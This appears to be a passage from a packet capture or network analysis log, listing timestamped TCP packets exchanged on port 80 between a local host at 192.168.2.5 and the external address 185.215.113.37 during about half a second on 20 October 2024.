Oct 20, 2024 08:40:14.396591902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396603107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396637917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396820068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396830082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396840096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396867990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396883965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396886110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396900892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396910906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396920919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.396929026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396936893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.396958113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397072077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397082090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397092104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397108078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397116899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397118092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397126913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397136927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397138119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397166014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397183895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397279024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397319078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397452116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397461891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397471905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397480965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397490025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397499084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397499084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397510052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397519112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397522926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397533894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397542953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397547960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397558928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397568941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397568941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397578955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397583008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397588968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397599936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397619009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397645950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397721052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397733927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397749901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397756100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397762060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397773981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397780895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397783995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397800922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397802114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397813082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397816896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397825956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397830009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397838116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397846937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397850990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397856951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397865057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397871017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397881031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397891045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397901058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397901058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397910118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397911072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397919893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397928953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397933960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397939920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397953987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397970915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.397985935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397995949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.397999048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398015976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398024082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398037910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398058891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398143053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398153067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398163080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398170948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398180962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398184061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398190022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398200035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398201942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398209095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398226023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398230076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398235083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398246050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398253918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398255110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398264885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398271084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398273945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398284912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398291111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398312092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398333073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398389101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398405075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398413897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398423910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398433924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398437977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398442984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398452997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398459911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398463011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398473024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398482084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398490906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398490906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398500919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398510933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398515940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398529053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398550034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398561954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398571014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398576021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398580074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398588896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398603916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398606062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398616076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398622036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398624897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398636103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398644924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398649931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398654938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398664951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398672104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398674011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398684025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398689032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398699999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398708105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398710966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398721933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398725986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398731947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398746967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398751020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398761988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398772955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398777008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398782969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398792982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398796082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398802042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398812056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398817062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398823977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398827076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398834944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398844004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398852110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398854017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398863077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398869991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398873091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398881912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398893118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398893118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398907900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398916960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398925066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398933887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398935080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398947001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398956060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398956060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398964882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398971081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.398983002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.398993015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399003029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399003983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399012089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399022102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399030924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399039984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399044991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399044991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399049044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399059057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399065971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399068117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399076939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399086952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399089098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399100065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399108887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399108887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399118900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399131060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399146080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399148941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399157047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399161100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399166107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399174929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399183989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399193048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399197102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399205923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399220943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399226904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399230957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399240017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399246931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399250031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399259090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399264097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399270058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399277925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399287939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399291992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399296045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399306059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399315119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399323940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399323940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399334908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399341106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399343967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.399358034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.399388075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400487900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400497913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400533915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400640011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400650978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400660038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400669098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400679111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400687933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400691032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400703907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400712013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400719881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400726080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400729895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400744915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400755882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400758028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400769949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400779963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400785923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400790930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400799990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400806904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400810003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400820017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400830030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400831938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400840998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400850058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400857925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400860071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400876999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400892019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400897980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400902033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400917053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400926113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400934935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400935888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400944948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400954008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400955915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400965929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400973082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.400974989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400985003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.400994062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401000977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401004076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401012897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401021957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401030064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401032925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401047945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401060104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401065111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401081085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401087046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401089907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401098013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401099920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401109934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401118994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401119947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401129961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401138067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401139975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401149988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401159048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401165009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401168108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401177883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401187897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401196957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401204109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.401207924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401232004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.401252031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.457807064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.462579966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808053970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808090925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808195114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808198929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:14.808206081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808218002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808228016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808245897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:14.808250904 CEST	49704	80	192.168.2.5	185.215.113.37
